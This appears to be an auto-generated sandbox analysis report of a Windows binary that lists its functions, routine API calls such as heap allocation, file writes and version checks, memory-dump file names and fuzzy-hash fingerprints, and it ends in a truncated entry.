                                                                                          • Opcode ID: cfac631ae7cd33a4d65e394df154e00cb069c5f6e8b89d171dcd20ffa90417b6
                                                                                          • Instruction ID: cfcced4fe20ace1cb9c77e507b1d6c1eac9b345b0de8df7ff04b6d7fabcc8d03
                                                                                          • Opcode Fuzzy Hash: cfac631ae7cd33a4d65e394df154e00cb069c5f6e8b89d171dcd20ffa90417b6
                                                                                          • Instruction Fuzzy Hash: ED012975108205BAE501BB72DD06D3F7669EF80718F108C3EB444B50E2EA3D9C616A2E
                                                                                          Function 0040B0C0 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,0040B088,00000000,00000000,?,?,00403394,00000000,00000000,00000800), ref: 0040B0E7
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: FileWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3934441357-0
                                                                                          • Opcode ID: c522352010aa0ffdeb1c8550a8e7d9d94415fd1ef62632f4db173a1ec829df8d
                                                                                          • Instruction ID: 9ab85608ef899c62796374e569d53c100cb89dcb0d5a9370bd5502097d7715ab
                                                                                          • Opcode Fuzzy Hash: c522352010aa0ffdeb1c8550a8e7d9d94415fd1ef62632f4db173a1ec829df8d
                                                                                          • Instruction Fuzzy Hash: F4F0F276104601AFD320CF58D808B87FBE8EB48321F00C82EE59AC2A50C730E810DB55
                                                                                          Function 00402B6D Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetNativeSystemInfo.KERNEL32(00000000,?,00000000,00000000), ref: 00402B89
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoNativeSystem
                                                                                          • String ID:
                                                                                          • API String ID: 1721193555-0
                                                                                          • Opcode ID: 700b71109f0c023e3e1c18d21fddf158996dc8241789cbbab02419d6e0a745b1
                                                                                          • Instruction ID: 9093739e4f63ff22c3e940b982bbbee8e150dd58fd9266ea6ee1473296d97692
                                                                                          • Opcode Fuzzy Hash: 700b71109f0c023e3e1c18d21fddf158996dc8241789cbbab02419d6e0a745b1
                                                                                          • Instruction Fuzzy Hash: EBD0C26041810846D710BE658509B9B73E8D700304F608C3AE084961C1F3FCE9D5821B
                                                                                          Function 0040A220 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • RtlAllocateHeap.NTDLL(00000008,00000000,00402EAC,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,004044FA,00000000,00000000,00000000), ref: 0040A231
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocateHeap
                                                                                          • String ID:
                                                                                          • API String ID: 1279760036-0
                                                                                          • Opcode ID: c9295373328ff73b20fc6ca55934024a7e081ff9ecf7500422664bd763381941
                                                                                          • Instruction ID: b6192ce9428b1ba2f4eef992fd110c0ccadf60e3b61bfdacf1c665f796a5839f
                                                                                          • Opcode Fuzzy Hash: c9295373328ff73b20fc6ca55934024a7e081ff9ecf7500422664bd763381941
                                                                                          • Instruction Fuzzy Hash: 97C04C713442006AE6509B24DE09F5776A9BB70742F00C43A7545D11B4DA31D860D72D
                                                                                          Function 0040A1C0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 0040A1C9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateHeap
                                                                                          • String ID:
                                                                                          • API String ID: 10892065-0
                                                                                          • Opcode ID: 632f7ef1fd3851381c9f94796d2a32ace23046017034c32eb606c36269a48e04
                                                                                          • Instruction ID: 5a0dfe59a05c5f03c374f6d2b2c7d0e1199ed08054282bce4923ddabcda8d052
                                                                                          • Opcode Fuzzy Hash: 632f7ef1fd3851381c9f94796d2a32ace23046017034c32eb606c36269a48e04
                                                                                          • Instruction Fuzzy Hash: 10B012702C43005AF2500B209C0AB8039609304B43F304024B2015A1D4CAF01080852C

                                                                                          Non-executed Functions

                                                                                          Function 00402664 Relevance: 4.5, APIs: 3, Instructions: 25COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040E660: TlsGetValue.KERNEL32(0000000D,?,00402EF9,00000000,00000000,00000000,00000000,?,0040118D,00000000,00000000,00000000,00000001,00000004,00000000,00417064), ref: 0040E677
                                                                                          • LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00402E90,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,004044FA,00000000), ref: 00402675
                                                                                          • SizeofResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00402E90,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402685
                                                                                            • Part of subcall function 0040A220: RtlAllocateHeap.NTDLL(00000008,00000000,00402EAC,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,004044FA,00000000,00000000,00000000), ref: 0040A231
                                                                                            • Part of subcall function 0040A300: memcpy.MSVCRT(?,00000000,00000000,?,?,004026B1,00989768,00989768,00000000,00000000,00000000,00000000,00000000,00000000,00402E90,00000000), ref: 0040A310
                                                                                          • FreeResource.KERNEL32(?,00989768,00989768,00000000,00000000,00000000,00000000,00000000,00000000,00402E90,00000000,00000000,0000000A,00000000,00000000,00000000), ref: 004026B4
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Resource$AllocateFreeHeapLoadSizeofValuememcpy
                                                                                          • String ID:
                                                                                          • API String ID: 4216414443-0
                                                                                          • Opcode ID: eb9f5e1a2f9d4593073a7ec5f81ff8e9b0a970554bd78e40bca009d4aa2b3f01
                                                                                          • Instruction ID: 5824db8a20ede0dd59727c61e03ef1c30c3ca7ac97c8101ba0d9721411e394a8
                                                                                          • Opcode Fuzzy Hash: eb9f5e1a2f9d4593073a7ec5f81ff8e9b0a970554bd78e40bca009d4aa2b3f01
                                                                                          • Instruction Fuzzy Hash: C9F0F871018305EFDB01BF61EC0182EBEA1FB54304F108C3EF488511B1D7378868AB5A
                                                                                          Function 0040EFF0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 698COMMONLIBRARYCODE
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: L@A
                                                                                          • API String ID: 0-2003014581
                                                                                          • Opcode ID: fcece218acb953ec57727b535a22294843431f2901f4321beebd5a4c2ced4c5c
                                                                                          • Instruction ID: 760e5a69b99611532abf888ee3aa0c8fba98c8b8d08d5900a10969fbbe7fd4b0
                                                                                          • Opcode Fuzzy Hash: fcece218acb953ec57727b535a22294843431f2901f4321beebd5a4c2ced4c5c
                                                                                          • Instruction Fuzzy Hash: C042AD706047429FD724CF19C54472ABBE0BF84304F14863EE8589BB91D379E99ACF8A
                                                                                          Function 00405573 Relevance: 3.1, APIs: 2, Instructions: 128COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • GetVersionExW.KERNEL32(?), ref: 00405593
                                                                                            • Part of subcall function 0040552C: memset.MSVCRT ref: 0040553B
                                                                                            • Part of subcall function 0040552C: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 0040554A
                                                                                            • Part of subcall function 0040552C: GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 0040555A
                                                                                          • GetVersionExW.KERNEL32(?), ref: 004055F2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Version$AddressHandleModuleProcmemset
                                                                                          • String ID:
                                                                                          • API String ID: 3445250173-0
                                                                                          • Opcode ID: b665be2987f77f662ff3f1567eed7b7eb98d8ed0a6deb91f434bba4fd19d7b4a
                                                                                          • Instruction ID: 26d0d35871443cf73a281a40cb18e3271032821f4299fa5ffe9ef0f91627ffe6
                                                                                          • Opcode Fuzzy Hash: b665be2987f77f662ff3f1567eed7b7eb98d8ed0a6deb91f434bba4fd19d7b4a
                                                                                          • Instruction Fuzzy Hash: 9B31BF32924F1882D23085648D45BB76AA4E751760FD90F37DD9EB72E0D23F8D458D8E
                                                                                          Function 00409FB0 Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • SetUnhandledExceptionFilter.KERNEL32(00409F70,00401180,00000000,00000000,00000001,00000004,00000000,00417064,00000008,0000000C,000186A1,00000007,00417074,004180F0,00000004,00000000), ref: 0040A0EC
                                                                                          • SetUnhandledExceptionFilter.KERNEL32(00401180,00000000,00000000,00000001,00000004,00000000,00417064,00000008,0000000C,000186A1,00000007,00417074,004180F0,00000004,00000000,00417064), ref: 0040A100
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExceptionFilterUnhandled
                                                                                          • String ID:
                                                                                          • API String ID: 3192549508-0
                                                                                          • Opcode ID: b7e867c821acaf844bbdab562fa5546bc418851262dc6eefeb18a67462b4137d
                                                                                          • Instruction ID: ed707b84e897ebd9365ef63bb97156212438ba645da498dcb76798098b5433cd
                                                                                          • Opcode Fuzzy Hash: b7e867c821acaf844bbdab562fa5546bc418851262dc6eefeb18a67462b4137d
                                                                                          • Instruction Fuzzy Hash: 76E0C2B2508380FFC3108F20E94C687BBF4BB55741F00C93EA80A927A0CB748852EB1E
                                                                                          Function 0040B9C7 Relevance: 2.9, APIs: 1, Instructions: 1619COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • memcpy.MSVCRT(?,?,00000040), ref: 0040B9D9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: memcpy
                                                                                          • String ID:
                                                                                          • API String ID: 3510742995-0
                                                                                          • Opcode ID: acd0e2443a16ad88af06146353a72dec412846ba3d60e1a872444779584cfac7
                                                                                          • Instruction ID: 7648e4874b510db5dc64b48861a8ad0d1bcfa4dcae448a9e57b277cf71a217b0
                                                                                          • Opcode Fuzzy Hash: acd0e2443a16ad88af06146353a72dec412846ba3d60e1a872444779584cfac7
                                                                                          • Instruction Fuzzy Hash: 43D23BB2B183008FC748CF29C89165AF7E2BFD8214F4A896DE545DB351DB35E846CB86
                                                                                          Function 0040FA68 Relevance: 2.1, Strings: 1, Instructions: 842COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: hAA
                                                                                          • API String ID: 0-1362906312
                                                                                          • Opcode ID: 7fc8c6075135f61b4e465a5350afc3a94afa5303be66dee6bc8774c12ebf2cec
                                                                                          • Instruction ID: 061b60707f08a323de6ca22a374bc66059e0427017f59017a69891467563d259
                                                                                          • Opcode Fuzzy Hash: 7fc8c6075135f61b4e465a5350afc3a94afa5303be66dee6bc8774c12ebf2cec
                                                                                          • Instruction Fuzzy Hash: 0762AD71A047129FC718CF18C59066AB7E1FFC8304F144A3EE8969BB81D778E959CB85
                                                                                          Function 00411C20 Relevance: 1.6, Strings: 1, Instructions: 372COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: hAA
                                                                                          • API String ID: 0-1362906312
                                                                                          • Opcode ID: 71dca1fec58b1161358ab28b524daf179a02b381705128614a2cde410d01d185
                                                                                          • Instruction ID: f848a90908651b5095397da3da739fda65f55eeb17523120767d540d1063a6f3
                                                                                          • Opcode Fuzzy Hash: 71dca1fec58b1161358ab28b524daf179a02b381705128614a2cde410d01d185
                                                                                          • Instruction Fuzzy Hash: F0D1E7716083828FC704CF28C48066ABBE2FFD9304F144A6EE9D58B752D379D98ACB55
                                                                                          Function 00409FD0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • SetUnhandledExceptionFilter.KERNEL32(004011DA,004011BB,00000000,004180A0,00000000,00000000,00000000,00000001,00000004,00000000,00417064,00000008,0000000C,000186A1,00000007,00417074), ref: 00409FD6
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: ExceptionFilterUnhandled
                                                                                          • String ID:
                                                                                          • API String ID: 3192549508-0
                                                                                          • Opcode ID: 3170e1e652b57c97785d64ceb6e545c80be0e67c980fbb0402b9cecf21492773
                                                                                          • Instruction ID: ac8206da82d6392f4af85a502d91db7afc58579d845f6d3a682825b86ab87252
                                                                                          • Opcode Fuzzy Hash: 3170e1e652b57c97785d64ceb6e545c80be0e67c980fbb0402b9cecf21492773
                                                                                          • Instruction Fuzzy Hash: 68B0017A404180EFDB015F20ED4C7C63FB2B746745FD08AB8980181770CB790496DA0C
                                                                                          Function 0040CF18 Relevance: .7, Instructions: 674COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
                                                                                          • Instruction ID: 434e224409ee4b41571aafdaecae1a236b293988db59150c8aad3205160540e2
                                                                                          • Opcode Fuzzy Hash: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
                                                                                          • Instruction Fuzzy Hash: 3E12C5B3B546144BD70CCE1DCCA23A9B2D3AFD4218B0E853DB48AD3341FA7DD9198685
                                                                                          Function 00410CA0 Relevance: .2, Instructions: 213COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 2afca31d5e402dc53a6e3c1547e4f0f7fd84e8efed120adad160e64feba3fa86
                                                                                          • Instruction ID: ce7637385bf2580d4bd45f7eed7cd981386548e1214f237c7f2b1e334cab5801
                                                                                          • Opcode Fuzzy Hash: 2afca31d5e402dc53a6e3c1547e4f0f7fd84e8efed120adad160e64feba3fa86
                                                                                          • Instruction Fuzzy Hash: B381B472620852CBE718CF1DEC907B63353E7C9340F99C639DA028779AE538B562C795
                                                                                          Function 00410C80 Relevance: .2, Instructions: 193COMMONLIBRARYCODE
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: ebf3ce41f3a936af8fc8571fd5a5b65ced049cf5f7b88b68e7c4ff41129e470b
                                                                                          • Instruction ID: eb62069f37237363b8ce6edce14327945305ce31afdb1d79ed38a397900698d6
                                                                                          • Opcode Fuzzy Hash: ebf3ce41f3a936af8fc8571fd5a5b65ced049cf5f7b88b68e7c4ff41129e470b
                                                                                          • Instruction Fuzzy Hash: 0A71F3F16205824BD714CF29FCD067673A2EBD9384F4AC639DB0287396C238B971C695
                                                                                          Function 00410FB0 Relevance: .1, Instructions: 143COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
                                                                                          • Instruction ID: af0191558bb113c69bf01aa77dc2a624928e07331dce5fde3109ee2fd9e39919
                                                                                          • Opcode Fuzzy Hash: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
                                                                                          • Instruction Fuzzy Hash: 5941EA32A4474547E728CF28C8553EFB390AB88304F45493ECB9697B60CB6EE9C68685
                                                                                          Function 00411033 Relevance: .1, Instructions: 100COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
                                                                                          • Instruction ID: 72b98655ba701b9d964f93d3241bb8f545428b910a5ae8810ed1e036a2f8a9ba
                                                                                          • Opcode Fuzzy Hash: 6219c0534570dcc087454eb9247404a7b3db1bae580b6f203b5ef7fccfb18fab
                                                                                          • Instruction Fuzzy Hash: AD31DC32E447854BE728CF28C8953EB7390BB88304F49093FCB4697BA1C66AE9C5C645
                                                                                          Function 00411079 Relevance: .1, Instructions: 82COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 8f177ef76dc2d83bc780de5ca5247833b6fb957e59de742fcb7e95280a36d76d
